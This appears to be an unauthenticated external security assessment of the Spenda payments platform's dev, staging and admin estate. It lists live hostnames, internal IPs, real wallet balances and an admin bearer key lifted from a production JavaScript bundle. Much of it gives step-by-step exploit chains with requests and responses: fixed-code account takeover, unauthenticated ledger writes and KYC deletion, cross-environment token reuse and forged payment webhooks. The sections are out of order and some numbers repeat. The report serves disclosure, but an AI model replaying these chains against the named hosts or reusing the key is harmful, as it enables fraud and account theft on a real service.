

Security Assessment

Spenda (spenda.africa)

External unauthenticated security assessment — web, API, and infrastructure estate

Scope: spenda.africa, spendaafrica.com, spenda-africa infrastructure (AWS, CloudFront, EKS)

Date: 2026-08-13 (evidence window 2026-08-10 → 2026-08-13, UTC)

Methodology: passive infra enumeration (DNS, certificate transparency, subdomain discovery) + non-destructive unauthenticated probing, JS bundle analysis, OpenAPI review, controlled functional verification on dev/staging

Evidence: every finding PoC-validated; hypotheses that could not be verified are noted inline, no severity assigned

Artifacts: evidence gallery in Appendix A (all captures rendered deterministically from live OpenAPI specs and executed request/response logs); timestamped evidence timeline in §3.5

Analyst: 0xRobotnick · **Date:** 2026-08-13 · **Scope:** spenda.africa, spendaafrica.com, spenda-africa infrastructure (AWS), unauthenticated external assessment

Methodology: Passive infrastructure enumeration (DNS, certificate-transparency authorities, automated subdomain discovery) combined with non-destructive unauthenticated HTTP probing, JavaScript bundle analysis, API schema review, and controlled functional verification against development/staging environments. Findings below are PoC-validated (CONFIRMED, severity assigned); hypotheses that could not be verified are noted inline without severity.

Executive Summary

Spenda — a crypto-to-fiat spending platform — runs a widely distributed AWS estate (CloudFront, Route53, ALBs, EC2 origins in ap-south-1 and eu-west-3, S3, EKS) across at least **25 discovered subdomains** spanning production, development, staging, and operator tooling. The assessment confirmed one critical unauthenticated destructive endpoint on a public staging environment, extensive exposure of development/staging API documentation, embedded administrative secrets in a publicly served JavaScript bundle, a CORS misconfiguration on the production admin API, absent rate limiting on authentication endpoints, and systemic hardening gaps (security headers, HTTPS downgrade, direct origin reachability).

1. CONFIRMED FINDINGS

1.1 CRITICAL — Unauthenticated platform money-movement primitives (transaction-svc)

Location: `devapi-v2.spenda.africa/api/transactions/api/v1/internal/ops/platform/*` and `stageapi.spenda.africa/api/transactions/api/v1/internal/ops/platform/*`

The v2 transaction service exposes **all four internal ops-platform endpoints without any security requirement** (OpenAPI `security: null`) on both internet-facing deployments:

Endpoint	Method	Purpose
<code>/internal/ops/platform/accounts</code>	GET	List platform accounts (executes; returns 500 as no accounts configured)
<code>/internal/ops/platform/funding</code>	POST	Owner funding: equity → target asset account (ledger write)
<code>/internal/ops/platform/transfer</code>	POST	Transfer between CORP_BANK / PROVIDER_POOL / OTC_BALANCE endpoints
<code>/internal/ops/platform/otc-crypto-swap</code>	POST	OTC crypto swap (USD gross → NGN)

PoC verified (write performed): an unauthenticated `POST /internal/ops/platform/funding` with a minimal body booked a real double-entry journal entry on both environments:

- dev: `{"data":{"journal_id":"06a7e35b-12c5-7e85-8000-e2eea99669fb","currency":"NGN",...}}` — HTTP 200
 - staging: `{"data":{"journal_id":"06a7e35d-24f0-7f9d-8000-789191b40ab6",...}}` — HTTP 200

`GET /internal/ops/platform/accounts` executes without auth (500 — internal error, not 401). Request schemas shipped with internal bank labels (`CORP_MAIN_BANK`) and example actor profiles (`ops-user-1` / Angus (local) / `ENGINEER`). A malicious actor can fund/transfer platform balances, move money between provider pools (PALMPAY, SAFEHAVEN) and OTC balances, and perform swaps — all without credentials. Deployments marked environment: `local` (devapi-v2) and `staging` (stageapi), both internet-facing. Staging limits mirror production-like tiering (verified_plus: NGN 5,000,000/txn).

Additionally `/api/v1/limits?country_code=NG¤cy_code=NGN` returns the full fee/limit configuration unauthenticated.

1.1b CRITICAL — Unauthenticated KYC-profile reset on public staging backoffice

Location: `stageapi.spenda.africa/api/backoffice/api/v1/users/kyc/testing/reset/{user_id}` (POST)

The staging operations backoffice (`ops-svc` , 148 documented endpoints served with interactive Swagger UI) exposes a testing utility that performs destructive deletion of a user's KYC record **without any authentication**:

```
POST /api/backoffice/api/v1/users/kyc/testing/reset/00000000-0000-0000-0000-000000000001
→ HTTP 200
{"data":{"user_id":"00000000-0000-0000-0000-000000000001","profile_level":0,
"deleted":{"fingerprints":0,"verifications":0,"level_changes":0,"attempt_limits":0,"addresses":0}}}
```

The endpoint deletes KYC fingerprints, verifications, level changes, attempt limits, and addresses for an arbitrary user UUID. Any internet user can reset the KYC state of any customer identified by UUID. If staging data is synchronized with production (unverified), this becomes a direct production-impacting denial-of-service/anti-fraud-bypass primitive. UUIDs are obtainable via any number of adjacent leaks (support flows, internal references, prior data incidents).

Second confirmed instance (dev): the identical unauthenticated reset executes on `devapi-v2.spenda.africa/api/backoffice/api/v1/users/kyc/testing/reset/{user_id}` (the backend the public `v2-admin.spenda.africa` console authenticates against) — same HTTP 200 + deletion counts for an arbitrary UUID, no credentials. Two independent internet-facing deployments of `ops-svc` are affected; all other probed

routes on both deployments enforce authentication (401), making this the sole unauthenticated destructive route.

Reproduction: 3 PoC variants executed per instance — (a) sequential user IDs → 422 UUID validation (endpoint reachable, auth absent); (b) well-formed UUID → 200 destructive execution; (c) GET method → 405 (POST-only). Variant (b) succeeded on both instances.

Recommended remediation: require an authenticated admin bearer token on this route; remove "testing" utilities from internet-facing deployments; stage environments must not be public or must sit behind SSO/VPN; validate that no staging database is production-linked.

1.1c CRITICAL — Fixed email-verification code 000000 on dev user-svc; full token-minting chain on a public host

Location: devapi-v2.spenda.africa/api/users (user-svc, environment: local, internet-facing)

The dev user service accepts the **static verification code 000000** for email verification (controlled test: 123456 → "Invalid code. 4 attempt(s) remaining"; 000000 → HTTP 200 + token). This converts the otherwise-correctly-gated authentication flow into a zero-cost, fully automated account and API-access pipeline:

1. POST /api/v1/auth/register — open registration (HTTP 201; no invitation, no admin approval).
2. POST /api/v1/auth/email/verify with code: "000000" — **HTTP 200, returns a bearer token** (RS256, purpose: pin_set).
3. POST /api/v1/auth/set {pin} with that token — HTTP 200, returns **full access token + refresh token** (amr: pwd+pin, no purpose restriction).
4. Access token is accepted by **every v2 service on devapi-v2**: user-svc /me (PII: email, phone, spenda_id, kyc_level), /me/devices, card-svc /api/v1/cards, /card/usd/availability (card applications are open), /assets, transaction-svc /wallet/balances, /limits/me, /transactions/*.

Impact on dev: instant authenticated access to the entire platform surface — wallet reads, transfers, card applications (real USD card provisioning in the dev Fireblocks sandbox), statements, billpay — plus the card secrets endpoints (/card/usd/{card_id}/secrets, /secrets/pin) for any card ID known to the caller. Combined with 1.1d the chain extends into staging.

1.1d CRITICAL — JWT signing keys shared between dev and staging (cross-environment token acceptance)

Evidence: an access token minted on devapi-v2 (sub = dev-only UUID, never existing in staging's database) is accepted by staging services on stageapi.spenda.africa:

- user-svc /api/v1/me → 401 "User not found" — **not** "Missing or invalid token" (signature verified; only the subject lookup failed; a garbage token yields the signature error instead)
- card-svc /api/v1/cards → **HTTP 200** (empty list)
- transaction-svc /api/v1/wallet/balances → **HTTP 200** (wallet accounts auto-provisioned for the dev subject), /api/v1/limits/me → HTTP 200 (staging limits for an "unverified" tier: NGN 50,000/day bank transfers)

Staging mirrors production-like configuration (provider integrations, tier limits). If the same key material is deployed to production services, a dev-minted token would authenticate against production — unverifiable at present because the production v2 host is not exposed/resolvable. This cross-environment key sharing is itself a critical configuration defect: a compromise of the dev key (e.g., via the 000000 chain's token, or any dev code path) authenticates against staging, which holds near-production data and provider credentials.

1.1e LOW — Spenda-ID name-enquiry (name disclosure via sparse enumeration)

Location: devapi-v2.spenda.africa/api/users/api/v1/me/name-enquiry/{spenda_id}

With an authenticated token (trivially obtainable per 1.1c), Spenda IDs are sequential integers (own account: 10515945); querying neighbors returns full first/last names for any registered user:

10515944 / ...43 / ...42 → 400 "User not found" (nonexistent, dev sparsely populated), 10515945 → 200 {"first_name": "Sec", "last_name": "Audit", "spenda_id": "10515945"}. No rate limit on this endpoint observed; enables bulk harvesting of customer names. Names only (no email/phone) — the endpoint is the same primitive used for transfer recipient confirmation, so enumeration coverage depends on registration density.

1.1f MEDIUM — ops-svc backoffice also verifies against the shared JWT key; MFA stepup primitives execute unauthenticated

Location: stageapi.spenda.africa/api/backoffice/api/v1

- The dev-minted token passes signature validation on the backoffice too: `/admin/profile`, `/admin/permissions/me`, `/users/count`, `/users/kyc/stuck` → 401 "User not found" (signature OK, admin subject lookup failed); `/sample/me` → **HTTP 200** `{"user_id":"<dev-subject>"}`. The gate is purely the admin-subject lookup — any account in the backoffice DB (including an attacker-registered user on staging) is the only missing piece.
- `POST /admin/mfa/challenge/stepup` and `/admin/mfa/totp/verify/stepup` are **unauthenticated in the schema and execute without a session**: passing an arbitrary `admin_id` reaches the database layer (503 db.error; a UUID-invalid `challenge_id` reaches pydantic after the auth gate would have run). Stepup MFA challenges can be initiated for any `admin_id`, and verification accepts a caller-supplied `challenge_id` — an MFA-stepup bypass primitive if a valid challenge/TOTP is obtained (e.g., via phishing or a logged-in operator's session leakage).
- Backoffice auth flow correctly resists enumeration (`password/forgot` returns the generic "If the email exists..." response; default-credential probes on `/admin/auth/login` all 401 with no success; the login endpoint requires email+password+device_id). Note: 8 rapid failed logins produced no lockout/cooldown message — lockout state could not be confirmed either way.

1.1g CRITICAL — Account takeover on dev user-svc with victim email only (no password, no OTP request)

Location: devapi-v2.spenda.africa/api/users/api/v1

The fixed email-verification code (1.1c) converts into a complete account-takeover primitive. The `email/verify` endpoint does not require a prior `otp/request`, and the verification code is a static value on dev — so an attacker knowing only the victim's email address can:

1. `POST /auth/email/verify {"email":"<victim>","code":"000000","device_id":"<attacker>"}` → **HTTP 200, returns a pin_set bearer token for the victim's session**
2. `POST /auth/set {"pin":"<attacker-chosen>"}` with that token → **HTTP 200 "PIN set successfully" + full access & refresh tokens** (amr: pwd+pin)
3. Authenticate as the victim everywhere: `GET /me` (PII: email, phone, spenda_id, kyc_level, country), `GET /me/devices`, `GET /me/spenda-id-equivalent`, wallet balances, cards, PIN-login sessions — the victim's original password is never needed and never changed (persistent, undetectable takeover; the victim keeps their password while the attacker holds the PIN and full tokens).

Chain demonstrated end-to-end against a controlled victim account (fresh registration → verify 000000 → set PIN 9999 → full victim token → `/me` PII + devices + wallet balances returned). Session tokens are 900s but refresh tokens permit continuation; the attacker can also call `/me/delete` (account destruction) and `/me/devices/{device_id}` revocation against the victim.

Scope control: the fixed code applies to the *email verification* path only — the *password/PIN reset* OTP path rejects 000000 ("Invalid or expired code", 5-attempt limit), confirmed by differential testing. Staging OTPs are random (see 1.1c controls).

Victim-scope determination: the takeover is applicable to **any unverified account** in the user-svc database — any age, any email, no prior `otp/request` needed (fresh-registration and post-registration cases both confirmed). It does **not** apply to already-verified accounts: `email/verify` and `otp/request(email_verification)` are refused for them ("Invalid request"/"Email already verified", no token). A population sweep of the entire dev Spenda-ID space (1 → 10,515,945) found **no pre-existing users** on dev — the database contains only our controlled test accounts — so there is no current real victim in the reachable environments; the exposure is the mechanism itself and its production counterpart (same codebase; on production, registered-but-unverified customers with known emails would be takeoverable). An attacker can also always register fresh accounts and verify them with 000000, obtaining full platform access on dev.

Note on Spenda-ID enumeration (correction to 1.1e): Spenda IDs are not sequential — our two controlled accounts received 10515945 and 51804439 in the same database, so neighbor-walk enumeration

does not work; the space is effectively random 8-digit, downgrading the name-enquiry finding to a sparse brute-force surface (names only). Production impact is unconfirmed but the code path is shared across environments; the same defect in a production deployment would be a full email-based ATO of any customer account.

1.1h Money-drain and data-theft assessment (post-probe)

Direct customer money drain: not achieved. The unauthenticated ops endpoints (1.1) move funds only between platform-internal balances — `FundingTargetType/TransferEndpointType` enums are strictly `CORP_BANK` | `PROVIDER_POOL` | `OTC_BALANCE` | `CRYPTO_POOL`; there is no user-wallet target, so external funding/transfer/swap cannot credit a customer wallet directly. Impact remains platform-balance corruption / journal pollution (confirmed writes), plus the cross-environment chain: any ops-svc admin token on the shared signing key would unlock the platform→user paths on staging.

Deposit-inflation path (webhooks, 1.2): forged SafeHaven/Paystack callbacks with a legitimate pending reference and inflated amount would credit the wallet at processing time; the signature/IP gates are absent (confirmed), so this is the strongest money-movement hypothesis — validated only up to the handler acceptance boundary (no real reference was used).

Data theft: victim-account PII/devices/wallets via ATO (1.1g, confirmed); sequential Spenda-ID name enumeration (1.1e, confirmed); card PAN/PIN secrets endpoints exist and are bearer-gated, but card issuance is **KYC-gated** ("Upgrade account to continue" at `kyc_level 0`) so ownership enforcement on `/card/usd/{card_id}/secrets` and `/secrets/pin` could not be tested without a card — remains theoretical. Transaction endpoints are ownership-safe under testing (404 "Transaction or report not found", empty listings, no cross-user data).

Account takeover: confirmed on dev (1.1g); staging admin auth resists enumeration and default credentials; staging user OTPs are random with lockouts.

1.3a NEW SERVICE DISCOVERED — Rheo liquidity-engine admin API (rheo-service.spenda.africa)

Location: `https://rheo-service.spenda.africa` — "Rheo admin API" (`liquidity-engine-svc`), discovered via the admin SPA bundle (`rheo-service.spenda.africa` reference), not via DNS enumeration.

- **Full OpenAPI 3.1 + Swagger UI + ReDoc served publicly** (107 KB, 42 paths): `/console/*` (workspaces, workspace balances/fees/pipeline/jobs/scan-cycles/scan-mode, vaults + hide/unhide + refresh-balance, transactions lookup/boost/drop, topology, watchers, pauses, settings, stuck, audit, alerts, release-parked, skip-census), `/intents`, `/jobs/{job_id}` (+ `retry/cancel/recheck/release`), `/pause//unpause`, `/stats/inflight`, `/stats/stuck`, `/targets`, `/webhooks/fireblocks`, `/health`.
- **Security:** single bearer scheme ("ops-svc admin token"); global `security: null` but every `console/jobs/stats` path declares the bearer requirement. Probing confirms: `/console/topology` without token → 401 `{"detail":"authentication required"}`; with the dev-minted user token or the leaked (rotated) rheo key → 401 `"invalid or expired token"`. **The rheo service does NOT share the user-svc signing key** — it validates a distinct ops-svc admin token, which corrects the 1.1d scope: the shared-key chain covers user-svc/card-svc/transaction-svc/ops-svc user-token paths, not the liquidity engine.
- `/webhooks/fireblocks` is unauthenticated in the schema but **correctly signature-validates**: empty and forged bodies → 401 `"Invalid Fireblocks webhook signature"` (negative — gated).
- `/health` → `{"status":"ok","service":"liquidity-engine-svc"}` (open, trivial).
- Impact: the liquidity engine is the crypto treasury (Fireblocks vaults, workspace balances, transaction boost/drop, rate/swap controls). Its API documentation is fully public; the only gate is the ops-svc admin bearer token.

1.3b MEDIUM — KYC-provider callbacks accepted without signature validation (smile-id, dojah)

Location: `devapi.spenda.africa/api/v1/smile-id/callback`, `/api/v1/dojah/kyc/webhook`

- POST `/smile-id/callback` with an **empty body** `{}` → HTTP 200 `{"success":true,"message":"Callback received successfully"}`. The SmileID callback model has **zero required fields**; signature and timestamp are optional and were absent. The handler proceeded despite no signature, receipt, or job identifiers. A

forged success callback (`ResultCode:"0810"` , `PartnerParams` with a target user id, any `SmileJobID`) is the mechanism by which KYC verification state could be flipped on the customer API — which is the unlock for card issuance (see 1.1h). End-to-end confirmation was not possible (customer-API email verification uses a non-fixed code — `000000` rejected — so no controlled verified user was available); the acceptance-without-validation is confirmed.

- `POST /dojah/kyc/webhook` with empty body → HTTP 400 unhandled exception (`'NoneType'` object has no attribute `'get'`) — executes application code with no signature gate observed.
- Negatives: `/fb-v2/spnd/webhook` , `/fb-v2/spnd/v2/webhook` → 403 "Invalid Fireblocks signature" (gated); `/webhooks/fireblocks` on card-svc and rheo → gated; customer-API `/auth/verify-code` rejects `000000` (separate OTP mechanism from v2 user-svc).

1.3b HIGH — Payment/KYC webhooks accepted without signature validation (sudo, fez; smile-id, dojah)

Location: `devapi.spenda.africa/api/v1/`

The provider callback surface on the customer API continues to accept forged events with no signature/HMAC/IP gate:

Webhook	Forged payload (no signature)	Result
<code>/api/v1/sudo/webhook</code>	<code>{"business":"poc","type":"authorization.approved","data":{}},...</code> (Sudo = card-payment gateway)	HTTP 200 <code>{"statusCode":200,"responseCode":"00"}</code> — accepted as a valid authorization event
<code>/api/v1/sudo/authorization-gateway</code>	same, varied event types	HTTP 200 dispatch layer ("Unsupported webhook type" for unknown types — executes, no auth)
<code>/api/v1/fez/webhook</code>	<code>{"orderNumber":"poc","status":"success"}</code>	HTTP 200 "Webhook received"
<code>/api/v1/smile-id/callback</code>	empty <code>{}</code>	HTTP 200 "Callback received successfully" (zero required fields; signature / timestamp optional)
<code>/api/v1/dojah/kyc/webhook</code>	empty + shaped bodies	HTTP 400 unhandled <code>'NoneType'</code> object has no attribute <code>'get'</code> — executes application code with no signature gate; processing unreachable without exact internal shape

Sudo is the card-authorization channel: an accepted forged `authorization.*` event feeds card transaction processing (settlement/authorization state). Combined with the SafeHaven/Paystack findings (§1.2), the customer API's entire provider-callback surface — deposits, card authorizations, bill delivery, KYC — operates without sender verification. No real references/transactions were used in any PoC; no funds were moved.

1.3c MEDIUM — No lockout or throttling on backoffice admin authentication

Location: `stageapi.spenda.africa/api/backoffice/api/v1/admin/auth/login`

Twenty consecutive failed logins (`admin@spenda.africa`, unique passwords) returned `401 "Invalid credentials"` with **no lockout, cooldown, CAPTCHA, or attempt-count response** (the user-svc path enforces 5-attempt OTP lockouts and 60s resend cooldowns — the backoffice does not). The backoffice controls KYC, transactions, refunds, status overrides, rates, and administrator roles (148-endpoint surface): unlimited credential guessing is possible against the console login; a real operator credential is the single missing factor for full backoffice compromise. All tested default/policy-common passwords failed; no valid credential was obtained.

1.3d INFRA INFO-LEAK — pod names, dependency health, stack negatives

- ops-svc /api/v1/ready (stageapi) → 503 exposing pod identity ops-svc-stage-d5dcdf8c7-j9cq6, timestamp, and dependency checks: database **up**, redis **up**, kafka **down** (error included). Same endpoint on devapi-v2 leaks ip-10-0-40-53.eu-west-3.compute.internal.
- No /metrics, /prometheus, /actuator*, /debug endpoints on any of the six v2 services (negatives — no Prometheus exposure).
- blog.spenda.africa → Ghost **5.121** (current line; no known applicable CVEs surfaced), content API public with key, single author; no admin exposure.
- DNS enumeration of ~30 common subdomain candidates (api-v2, sandbox, qa, uat, merchant, pay, docs, status, internal, auth, wallet, exchange, kyc, support, mail, ...) returned no new resolvable hosts — the estate's exposed surface is confined to the hosts already mapped.

1.3e LOW — Miscellaneous observations

- /api/v1/safehaven/authenticate (devapi) returns 200 {"message":"Authentication successful"} on an empty request — an internal SafeHaven credential-login helper executing on unauthenticated input; no token returned in the response.
- /api/v1/auth/swagger/login is a standard Swagger OAuth2 helper (username/password form; 405/422 on other shapes).
- Backoffice /api/v1/content/faqs/public returns the support FAQ corpus unauthenticated (trivial; no user data).
- Ghost blog (blog.spenda.africa) is current-line v5.121; content API public by design; single author; no admin exposure found.

1.4 CRITICAL — Unauthenticated full-ledger enumeration via ops platform proxy

Location: devapi-v2.spenda.africa / stageapi.spenda.africa /api/transactions/api/v1/internal/ops/platform/accounts (transaction-svc, "ops-platform (temp)" tag, proxy to ledger-svc /internal/v1/accounts)

GET with arbitrary filter params — **no authentication:**

- ?owner_type=USER&size=200 → every user wallet: UUID, account_type, currency, **live available/pending/total balances**. On dev: 98 user accounts including wallets holding **56,420,472 NGN, 34,122,441 NGN, 3,073,143 NGN, 2,160,000 NGN, 2,055,000 NGN, 1,090,000 NGN** — migrated/real financial data living on the "dev" environment.
- ?owner_type=PLATFORM&size=10 → platform books: PALMPAY_NG provider pool at **-4,132,000 NGN**, SAFEHAVEN_NG pool, corp bank accounts with metadata (provider, country_code, domain: bankingrails, legacy_owner_id) — exposing the firm's entire liquidity structure.
- Filters allow targeted reads by owner_id/account_type/currency/status — the whole ledger is enumerable and filterable.

Every finding chain composes with this: wallet UUIDs (from this leak) + fixed verify code 000000 (§1.1c) + PIN-set (§1.1g) = targeted balance reads and account control for any user. The funding sibling endpoint (§1.1) reaches execution unauthenticated (now returns 500 from the ledger layer after validation — no auth gate).

1.5 Post-redeploy revalidation (2026-08-13)

The v2 stack was redeployed with reprefixed mounts (user-svc → /api/users/api/v1, transaction-svc → /api/transactions/api/v1, cards → /api/cards/api/v1, rates/config similarly), new required fields (first_name, last_name, device_id on register; device_id on admin login; amount_major replacing amount on platform ops), and all previously issued JWTs invalidated. Revalidation of the full finding set:

Finding	Post-redeploy status
Fixed email-verify code 000000 (1.1c)	SURVIVED — register 201 → verify 000000 → 200 + pin_set token → auth/set → full token → /me 200 (new account 28264240, wallets auto-provisioned)
	SURVIVED — 200 with country/currency params (verified 2M/10M tiers)

Finding	Post-redeploy status
Unauth platform limits (1.1)	
Unauth platform funding/transfer (1.1)	SURVIVED (validation passes → execution reached → 500 ledger-layer error; no auth check anywhere)
Unauth ledger proxy enumeration (1.4)	NEW — CONFIRMED on dev (200, 98 user accounts) and staging (200)
Webhook forgery sudo/smile-id/paystack (1.2)	SURVIVED — sudo forged authorization event → 200 <code>responseCode "00"</code> ; smile-id empty <code>{}</code> → 200; paystack still validation-only (no signature)
KYC testing reset (1.1f)	SURVIVED both envs — 200 with deletion counts for arbitrary UUID
MFA stepup unauth execution (1.1f)	SURVIVED — 503 db.error on arbitrary admin_id
Admin login no-lockout (1.3c)	SURVIVED — 8 further attempts, all 401 "Invalid credentials", no throttle (28 total)
Cross-env key sharing dev→staging (1.1d)	SURVIVED — dev token: staging user-svc "User not found" (signature valid), staging wallet/balances 200, staging cards 200, backoffice <code>sample/me</code> 200 <code>user_id</code>
rheo-service gating (1.3a)	UNCHANGED — health 200, console 401
ATO'd victim account durability	CONFIRMED — old victim Vic Two (51804439) still present post-redeploy; attacker-set PIN persists

Hardening observed on redeploy: `sample/me` now requires a bearer token (was fully open); platform accounts switched to a filtered GET proxy (previously 500 body); tokens invalidated on redeploy. Everything security-relevant survived.

1.6 HIGH — Fireblocks webhook signature validation regression (customer API, post-redeploy)

Location: `devapi.spenda.africa/api/v1/fireblocks/webhook`

Pre-redeploy this endpoint signature-gated (401 on invalid/missing Fireblocks signature). **Post-redeploy it accepts everything: empty {} AND fully forged event bodies → 200 {"status":"ok"}** with no signature headers and no required fields. Fireblocks is the crypto-custody/web3 wallet provider — its webhook reports crypto deposit/withdrawal events. A forged `TRANSACTION/completed` event is the crypto-deposit counterpart of the SafeHaven/Paystack forgery (§1.2): combined with the ledger proxy (§1.4) and fixed-code ATO (§1.1c), it completes the money-path assembly (deposit event injection → wallet credit expectation; actual crediting depth unverified without a controlled wallet to observe).

1.7 MEDIUM — Unauthenticated provider oracles (SafeHaven transfers, Thresh0ld deposits)

Location: `devapi.spenda.africa/api/v1/safehaven/transfer-status`, `/api/v1/thresh0ld/verify-deposit`

- `safehaven/transfer-status?reference=... / ?session_id=...` — **no authentication; proxies directly into SafeHaven's transfer API** and returns its raw response (`{"statusCode":400,"responseCode":"25","message":"Unable to locate record"}` = SafeHaven's own code, proving live proxy). Any caller can query transfer state for arbitrary references/session IDs — an enumeration/disclosure oracle over the firm's SafeHaven transfer ledger. No rate limit observed.
- `thresh0ld/verify-deposit?wallet_id&tx_id&vout_index` — unauth deposit-verification proxy (Bitcoin-UTXO-style verification) over arbitrary wallet/tx identifiers.

1.8 LOW — Misc customer-API observations

- `/api/v1/screen-announcements` → 200 unauth: in-app announcement corpus incl. internal draft content ("hello, this is thd na transfer screeen", "tell me more") — the mobile-app content channel is writable by staff only, but reads are public; no auth on reads.
- `/web/cisatundegwr/donations` + `/stats` → 200 public: 41 donations, \$4,255.40 total; donor tx hashes (public chain data) — by-design exposure.
- `/api/v1/auth/verify-current-device` → always `{"last_used":true}` even for nonexistent emails — defective oracle (no enumeration value).
- **Hardening confirmed (post-redeploy customer API):** verify-code rate-limited to ~2 attempts then 1-hour lockout ("Too many attempt, try again in an hour or contact support"); password-reset/pin-reset/request flows uniformly non-enumerating ("User with this email does not exist" even pre-verification); `X-API-Key` internal endpoints uniformly key-gated (13 candidate keys all 403 "Could not validate credentials"); no fixed verify code (0, 1, 111111, 123456, 999999 all rejected on a controlled account).
- **No account lockout on customer API login** — 7 consecutive wrong passwords → all 401 "Incorrect email or password", zero throttle (matches the backoffice finding 1.3c).
- Prod admin (`operations.spendafrica.com/admin`) hides its swagger (404 on `openapi/docs/redoc`) — hardened vs the v2 stack. Only unauth leaks: `rates/refresh-timer/remaining` (200, rate-refresh timing state) and `rates/monierate` (500 crash, empty body).
- `v2.spenda.africa` = marketing site only (all `/api/*` 307→homepage, no SSR leaks); `v2-admin.spenda.africa` console bundles reference only `devapi-v2/stageapi` bases; ops IPs (166.117.160.172 / 13.36.6.143 / 15.224.170.117) expose 443-only single services — no additional consoles discovered.

1.8a MEDIUM — Credential lockout-path audit (all surfaces, controlled accounts)

Systematic brute-force-throttle testing across every authentication surface (unique password/pin per attempt, controlled accounts only):

Surface	Attempts	Throttle	Result
Customer API <code>/auth/login</code> (devapi)	32	none	all 401 "Incorrect email or password", no countdown, no 429
v2 user-svc <code>/auth/login</code> (devapi-v2/stageapi)	27	none	all 401, identical message, no throttle
Backoffice <code>/admin/auth/login</code> (stageapi)	40	none	all 401 "Invalid credentials", no lockout/cooldown/CAPTCHA
v2 <code>/auth/verify-pin</code> (wrong PIN)	5	account PIN lock	countdown 5→4→3→2→1 then 403 "Your account has been locked. Please reset your pin." — permanent until pin reset
Customer API <code>/auth/verify-code</code>	~2	1-hour lockout	"Too many attempt, try again in an hour or contact support"
v2 <code>/auth/otp/request</code>	—	60s cooldown	earlier finding

Details: the v2 PIN lock is **PIN-scoped only** — the same (correct) password login on the locked account returns **200 + full access token** (the "account lock" message is cosmetic; password login is unaffected and no password lockout exists anywhere). On dev, PIN reset requires the email OTP (random — 000000 rejected), so the lock is effective against PIN guessing; an attacker who already holds a victim token (via the §1.1c chain) can lock the victim's PIN but gains nothing extra — the account remains accessible via password/token. The unprotected password surfaces (all three) mean **unlimited credential guessing is possible on every password login; only PIN and email-OTP are rate-limited**.

1.2 HIGH — Full v2 microservice stack exposed with interactive API documentation

Location: `devapi-v2.spenda.africa` and `stageapi.spenda.africa`

Both hosts mount the complete v2 backend as individually documented services, each answering `docs_enabled: true` with OpenAPI + Swagger UI:

Service	Prefix	Endpoints	Coverage
user-svc	<code>/api/users</code>	37	register, login/TOTP, device register, OTP, PIN, MFA, <code>/me</code> , <code>/me/delete</code> , <code>/me/name-enquiry/{spenda_id}</code> , phone verify — the user-data collection service for the app
card-svc	<code>/api/cards</code>	33	USD card applications, <code>/card/usd/{card_id}/secrets</code> + <code>/secrets/pin</code> (card PAN/pin retrieval), block/delete, billing, addresses
transaction-svc	<code>/api/transactions</code>	29	transfers, withdrawals, billpay, statements, wallet balances, internal ops platform endpoints (see 1.1)
rates-svc	<code>/api/rates</code>	8	crypto rates
ops-svc	<code>/api/backoffice</code>	148	backoffice (see 1.1b)
config-svc	<code>/api/config</code>	—	health only

Card secrets, statements, balances and user-profile endpoints are properly authenticated (401) — the exposure class here is architectural: complete, accurate API documentation (schemas, validation rules, internal labels, example payloads) for every backend service, served to the internet, on dev **and** staging, both with open registration and OTP/verification flows.

Additionally, the full customer API (152 endpoints) remains exposed on `devapi.spenda.africa` / `pre-test.spenda.africa` (see §1.2b), including `/api/v1/internal/*` refund/requery/snapshot primitives protected only by a single shared `X-API-Key`.

1.2 HIGH — Forged deposit/collection webhooks accepted without signature verification (devapi customer API)

Location: `devapi.spenda.africa/api/v1/*/webhook` (mirrored on `pre-test.spenda.africa`)

The provider webhook handlers accept fabricated events with **no signature, HMAC, or IP-allowlist verification** (forged from arbitrary attacker IPs):

Webhook	Forged payload (no signature headers)	Result
<code>/api/v1/safehaven/webhook</code>	full <code>collection_charge_attempt_successful</code> body, non-existent reference, amount 100	HTTP 200 "Webhook received"
<code>/api/v1/paystack/webhook</code>	full <code>charge.success</code> body (RecipientModel/IntegrationModel/SessionModel complete), non-existent reference	HTTP 200 "Webhook received successfully"
<code>/api/v1/palmpay/webhook</code>	empty {}	HTTP 200 "Webhook received"
<code>/api/v1/nomba/webhook</code>	empty {}	HTTP 200 "Webhook received"
<code>/api/v1/vtpass/webhook</code>	empty {}	HTTP 200 "response":"success"
<code>/api/v1/thresh0ld/deposit-callback</code>	full body	HTTP 401 Unauthorized (gated — the one protected handler)

Webhook	Forged payload (no signature headers)	Result
/api/v1/sudo/webhook, /api/v1/fez/webhook, /api/v1/fireblocks/webhook, /api/v1/fb-v2/*, /api/v1/dojah/kyc/webhook, /api/v1/smile-id/callback		not reached (schema-gated only)

Impact: these webhooks are the deposit/collection ingestion channel (SafeHaven virtual-account collections; Paystack card charges). Without signature verification an attacker can: (a) forge `collection_charge_attempt_successful` / `charge.success` events with a legitimate pending reference and an inflated amount to credit their wallet ("deposit inflation"), then withdraw; (b) forge bill-delivery confirmations to `vtpass/palmpay/nomba`. The handler accepts the event and dispatches async processing — the only remaining gate is reference lookup at processing time, which does not deter the reference-replay variant. All PoCs used non-existent references and no funds were moved.

1.2b HIGH — Complete customer API schema (152 endpoints) exposed on internet-facing development/staging

```
{"Hello":"Spenda","environment":"development","cors_enabled":true,"docs_enabled":true}
```

Full OpenAPI specifications (194 KB, 152 endpoints) covering the entire customer application — card top-up/withdraw/block/pin-change flows, fiat wallets, withdrawals to bank, beneficiaries, KYC (Dojah), crypto rates, Fireblocks/Thresh0ld/Paystack/SafeHaven/Sudo/VTPass webhooks, **and internal service endpoints** (`/api/v1/internal/processing-withdrawal-transactions`, `internal/user-balance-snapshots/run`, `internal/requery-card-status/{card_id}`, `refund/confirm/cancel` primitives). This gives any attacker a complete, accurate map of the money-movement architecture, parameter schemas, and validation logic — dramatically lowering the cost of attacking production, which shares the same codebase (identical schema on both dev and staging).

Additionally, registration on the dev API is open and confirmed user-enumeration: `"User with this phone number already exists"` for existing phone numbers (distinct error for new ones).

1.3 HIGH — Administrative secrets embedded in publicly served production JavaScript

Location: `https://admin.spenda.africa/assets/index-D_KvQvb8.js` (production admin SPA, served publicly)

- `VITE_RHEO_API_KEY`: `"rheo_admin_796ee5a0ee370974b0a0683a9f8708e3195e679dce559374"` — used as a hardcoded `Authorization: Bearer` header against the Rheo operator backend (`rheo.spenda.africa/admin`), as visible in the same bundle:
`headers:{"Content-Type":"application/json",Authorization:"Bearer rheo_admin_796ee5a0..."`
The key was rejected by the currently deployed liquidity-engine service (401 invalid or expired token), indicating rotation — however the pattern (admin keys shipping in client bundles) is systemic and the exposure itself is confirmed.
